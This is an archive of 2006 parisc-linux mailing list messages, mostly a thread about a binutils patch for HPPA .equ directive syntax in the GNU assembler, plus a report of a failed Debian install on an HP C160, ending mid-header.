Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: X75VcOt9eWU7ULeUfHVzyDY5U3U4N0/G
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24118

Hi Dave,
Hi Carlos,

Somehow I lost Carlos answer to my mail, so I'll wind his questions and my answers in here:

Carlos> Out of curiosity do you have a copyright assignment for binutils? 
Carlos> If not, then that is OK, I can submit your patch upstream
Carlos> and check it in aswell.

I'm right now in the process to get this assignment done.
Since I think this will take some time, I'd prefer if you could submit 
it upstream (if everyone agrees).


On Monday 27 November 2006 02:34, John David Anglin wrote:
> > The GAS manual says:
> > ---
> > .equ symbol, expression
> > This directive sets the value of symbol to expression. It is
> > synonymous with `.set'; see section .set symbol, expression.
> > The syntax for equ on the HPPA is `symbol .equ expression'.
> > ---
> > 
> > This should be updated.

Sure.
I'll send an updated patch soon.

> > Have you considered the implications of your patch to porting HPUX assembly?
> > Does the HPUX assembler have an .equ directive? Dave can probably
> > answer that so I'll CC him.
> > 
> > ---
> > label .reg expr
> >     Synonym for .equ; define label with the absolute expression expr
> > as its value.
> > ---
> > 
> This needs testing on hpux.  I believe there may be problems.
> The current implementation reflects the syntax for .equ using HP as.
> 
> The HP assembler only allows an integer expression which evalutes
> to an absolute value.  The HP assembler prohibits the use of
> relocatable labels and imported symbols as a component of a
> .equ expression.  This reflected the capabilites of HP ld at
> one time.  This may not reflect current capabilites.  There may
> be differences between the 32 and 64-bit linkers.  I'm cautious
> here as I know .set which has no HP assembler equivalent works
> most of the time, but the capabilities of HP ld aren't well
> documented and there are subtle issues in assigning aliases.
> There are some uses of .set in the gas testsuite which run under
> hpux and they seem to work at basic level.  However, the weak
> alias stuff isn't useful under hpux because of the way HP ld
> handles "weak" symbols.
> 
> On the otherhand, more latitude on the expression is allowed when
> GNU ld is being used.  .equ is effectively a synonym for .set.  
> Because of this, I haven't been too concerned about the syntax
> for .equ.  There are various other directives that also follow the
> HP syntax.  In summary, these probably should be changed to follow
> the standard behavior under linux, etc; but I think the current
> behavior should be retained under hpux.
> 
> Sorry, I haven't had a chance to look at the details of your change.
> I've been busy and a few GCC targets are broken...

The patch only affects the .equ directive. It does not change .set in any way.
It will only allow the case of:
		.equ VAR,VALUE
which was printing an error message before.
So, it doesn't change any currently existing behavior. 
Instead it's only adding a "new way" to use the .equ directive in a typical "gas" way.

As a background story:
Originally I wanted to add support for
VAR		.equ  VALUE
as it's e.g. documented here: http://docs.hp.com/en/92432-90012/ch02.html
(JAN   .equ  1).
But this is in contrast to what gas (in as.info) states, since it does not end with a colon:
"  For HPPA targets, labels need not be immediately followed by a
"colon, but the definition of a label must begin in column zero.  This
"also implies that only one label may be defined on each line.
"    label:     .directive    followed by something
...
Sadly I until now failed to get  this working as well :-(

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Tue, 28 Nov 2006 20:34:01 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <200611282034.01241.deller@gmx.de>
References: <200611270134.kAR1Y2k0025862@hiauly1.hia.nrc.ca>
	<200611282020.26412.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624224 21705 80.91.229.3 (22 Nov 2014 02:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:44 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 dave.anglin@nrc.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Nov 2006 19:34:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 28 Nov 2006 20:34:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AC84F7D9AB;
	Tue, 28 Nov 2006 12:34:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22206-05; Tue, 28 Nov 2006 12:34:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BC6A7D99C;
	Tue, 28 Nov 2006 12:34:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F29D27D9A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Nov 2006 12:34:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21886-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Nov 2006 12:34:08 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 19D6B7D99C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Nov 2006 12:34:07 -0700 (MST)
Original-Received: (qmail invoked by alias); 28 Nov 2006 19:34:03 -0000
Original-Received: from mnhm-590c21d2.pool.einsundeins.de (EHLO p100.box) [89.12.33.210]
	by mail.gmx.net (mp028) with SMTP; 28 Nov 2006 20:34:03 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <200611282020.26412.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: U+IOEYoQbXBtTrqHPTQ2r7kqLyUmZQgz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24119

On Tuesday 28 November 2006 20:20, Helge Deller wrote:
> As a background story:
> Originally I wanted to add support for
> VAR		.equ  VALUE
> as it's e.g. documented here: http://docs.hp.com/en/92432-90012/ch02.html
> (JAN   .equ  1).

There is more broken:

deller@c3000:~/binutils/run/bin$ cat test.s
AA       .equ  4
BB      .equ  6
deller@c3000:~/binutils/run/bin$ as test.s
test.s: Assembler messages:
test.s:1: Error: Unknown opcode: `aa'
test.s:2: Error: Invalid operands

although as.info states:

7.37 `.equ SYMBOL, EXPRESSION'
==============================

This directive sets the value of SYMBOL to EXPRESSION.  It is
synonymous with `.set'; see *Note `.set': Set.

   The syntax for `equ' on the HPPA is `SYMBOL .equ EXPRESSION'.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Thu, 30 Nov 2006 10:46:33 -0500 (EST)
Lines: 47
Approved: news@gmane.org
Message-ID: <200611301546.kAUFkXkZ003953__45492.6423299641$1416624224$gmane$org@hiauly1.hia.nrc.ca>
References: <200611282020.26412.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624224 21708 80.91.229.3 (22 Nov 2014 02:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:44 +0000 (UTC)
Cc: dave.anglin@nrc.ca,
 parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 15:46:36 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx089) with SMTP; 30 Nov 2006 16:46:36 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAUFkYp1003954;
	Thu, 30 Nov 2006 10:46:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAUFkXkZ003953;
	Thu, 30 Nov 2006 10:46:33 -0500 (EST)
In-Reply-To: <200611282020.26412.deller@gmx.de> from "Helge Deller" at Nov 28, 2006 08:20:26 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: upgGCKhObHIyX63NNjQ0KKEqJihyalAC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24120

> It will only allow the case of:
> 		.equ VAR,VALUE
> which was printing an error message before.
> So, it doesn't change any currently existing behavior. 

It adds new behavior which was previously invalid.  The above syntax
isn't valid using HP as and previously gas syntax mirrored the HP
syntax.  So, you have to convince the binutils maintainers that the
above extension is compatible with what exists now.  For example,

LABEL:	.equ VALUE
	.equ VAR,VALUE
LABEL1: .equ VAR,VALUE	; ???

Do these all work correctly?

> As a background story:
> Originally I wanted to add support for
> VAR		.equ  VALUE
> as it's e.g. documented here: http://docs.hp.com/en/92432-90012/ch02.html
> (JAN   .equ  1).
> But this is in contrast to what gas (in as.info) states, since it does not end with a colon:
> "  For HPPA targets, labels need not be immediately followed by a
> "colon, but the definition of a label must begin in column zero.  This
> "also implies that only one label may be defined on each line.
> "    label:     .directive    followed by something
> ...
> Sadly I until now failed to get  this working as well :-(

I believe the labels must be followed by followed by a colon on linux.
On hpux, the colon is optional.  HP as wants no colon.  Note that labels
don't have to be on the same line as the directive.  Thus, I believe that

label:	.equ	VALUE

should work on linux.

I'm not sure the in comment in as.info about only one label per line
is correct.  There's a line termination character that allows multiple
directives per line.  It's useful in macros.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] hppa-linux-gas binutils patch
Date: Thu, 30 Nov 2006 11:13:31 -0500 (EST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200611301613.kAUGDV3J004744__41816.1709014841$1416624224$gmane$org@hiauly1.hia.nrc.ca>
References: <200611282034.01241.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624224 21709 80.91.229.3 (22 Nov 2014 02:43:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 dave.anglin@nrc.ca
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 16:13:34 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx089) with SMTP; 30 Nov 2006 17:13:34 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id kAUGDWLl004748;
	Thu, 30 Nov 2006 11:13:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id kAUGDV3J004744;
	Thu, 30 Nov 2006 11:13:31 -0500 (EST)
In-Reply-To: <200611282034.01241.deller@gmx.de> from "Helge Deller" at Nov 28, 2006 08:34:01 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z0UJL1gZaHI+XKWnKSUlQ9ZqamdhZET+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24121

> deller@c3000:~/binutils/run/bin$ cat test.s
> AA       .equ  4
> BB      .equ  6
> deller@c3000:~/binutils/run/bin$ as test.s
> test.s: Assembler messages:
> test.s:1: Error: Unknown opcode: `aa'
> test.s:2: Error: Invalid operands

This is because the linux target was changed to require colons after
labels.  As a result, operands can start in the first column of a line.
Under hpux, there needs to be at least one white space character before
an operand and labels have to start in the first column.

> although as.info states:
> 
> 7.37 `.equ SYMBOL, EXPRESSION'
> ==============================
> 
> This directive sets the value of SYMBOL to EXPRESSION.  It is
> synonymous with `.set'; see *Note `.set': Set.
> 
>    The syntax for `equ' on the HPPA is `SYMBOL .equ EXPRESSION'.

This doesn't reflect that SYMBOL needs to be followed by a colon
on HPPA linux.  So, the documentation needs updating.

Probably, the linux should have been updated to use the normal GNU
syntax when it was introduced.  Now, updating the syntax involves a
potential compatibility break with GCC and existing assembler code.
At the moment, I don't see a strong need to do the update.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian etch rc1 & daily build install fail on C160
Date: Thu, 30 Nov 2006 10:38:29 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <456F1715.5080305__4004.01247102327$1416624225$gmane$org@excelcia.org>
References: <4562C898.2090605@excelcia.org>
	<200611211348.20682.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624225 21713 80.91.229.3 (22 Nov 2014 02:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Nov 2006 17:40:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 30 Nov 2006 18:40:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AB127D968;
	Thu, 30 Nov 2006 10:40:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30563-09; Thu, 30 Nov 2006 10:40:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 382BC7D9BB;
	Thu, 30 Nov 2006 10:40:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4F717D916
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 10:39:47 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30467-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 10:39:46 -0700 (MST)
Original-Received: from pd5mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 5FD467D8DC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Nov 2006 10:39:46 -0700 (MST)
Original-Received: from pd5mr6so.prod.shaw.ca
	(pd5mr6so-qfe3.prod.shaw.ca [10.0.141.182]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0J9K00A8U106CF80@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 30 Nov 2006 10:38:30 -0700 (MST)
Original-Received: from pn2ml10so.prod.shaw.ca ([10.0.121.80])
	by pd5mr6so.prod.shaw.ca (Sun Java System Messaging Server 6.2-7.05
	(built Sep
	5 2006)) with ESMTP id <0J9K003TH106CLK1@pd5mr6so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 30 Nov 2006 10:38:30 -0700 (MST)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0J9K00FM5106RZ40@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 30 Nov 2006 10:38:30 -0700 (MST)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	kAUIcSEP010289	for
	<parisc-linux@lists.parisc-linux.org>; Thu, 30 Nov 2006 11:38:28 -0700
In-reply-to: <200611211348.20682.mszick@morethan.org>
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.94.0.0
X-Virus-Scanned: ClamAV version 0.88.6,
	clamav-milter version 0.88.6 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Thunderbird 1.5.0.8 (Windows/20061025)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Si5XcBMcbmw7XK2HZzdLI2lHUzc4cpHo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24122

I've tried everything I can think of, but can't get the system to boot.
 I finally got smart and checked /proc/modules after a failed boot (at
the initramfs prompt) and found that only an ide driver was loaded.  Not
exactly what a C160 needs.

So, it doesn't look like a device ordering problem - it's a lack of
device problem.  Other than compiling a kernel to hard-code the correct
devices in, does anyone have suggestions as to how to get the right
drivers to auto-load?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian etch rc1 & daily build install fail on C160
Date: Fri, 01 Dec 2006 03:51:58 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <4570094E.20109__44275.5988253795$1416624225$gmane$org@excelcia.org>
References: <4562C898.2090605@excelcia.org>
	<200611211348.20682.mszick@morethan.org>
	<456F1715.5080305@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624225 21717 80.91.229.3 (22 Nov 2014 02:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:43:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:35 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Dec 2006 10:52:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 01 Dec 2006 11:52:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA7CF7D85C;
	Fri,  1 Dec 2006 03:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12058-05; Fri, 1 Dec 2006 03:52:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B4637D87D;
	Fri,  1 Dec 2006 03:52:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 291BA7D83F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 03:52:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12056-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Dec 2006 03:52:01 -0700 (MST)
Original-Received: from pd5mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id A6AC57D71C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Dec 2006 03:52:01 -0700 (MST)
Original-Received: from pd2mr3so.prod.shaw.ca
	(pd2mr3so-qfe3.prod.shaw.ca [10.0.141.108]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0J9L00G72CUPAHC0@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 01 Dec 2006 03:52:01 -0700 (MST)
Original-Received: from pn2ml7so.prod.shaw.ca ([10.0.121.151])
	by pd2mr3so.prod.shaw.ca (Sun Java System Messaging Server 6.2-7.05
	(built Sep
	5 2006)) with ESMTP id <0J9L00EVPCUPHUU0@pd2mr3so.prod.shaw.ca> for
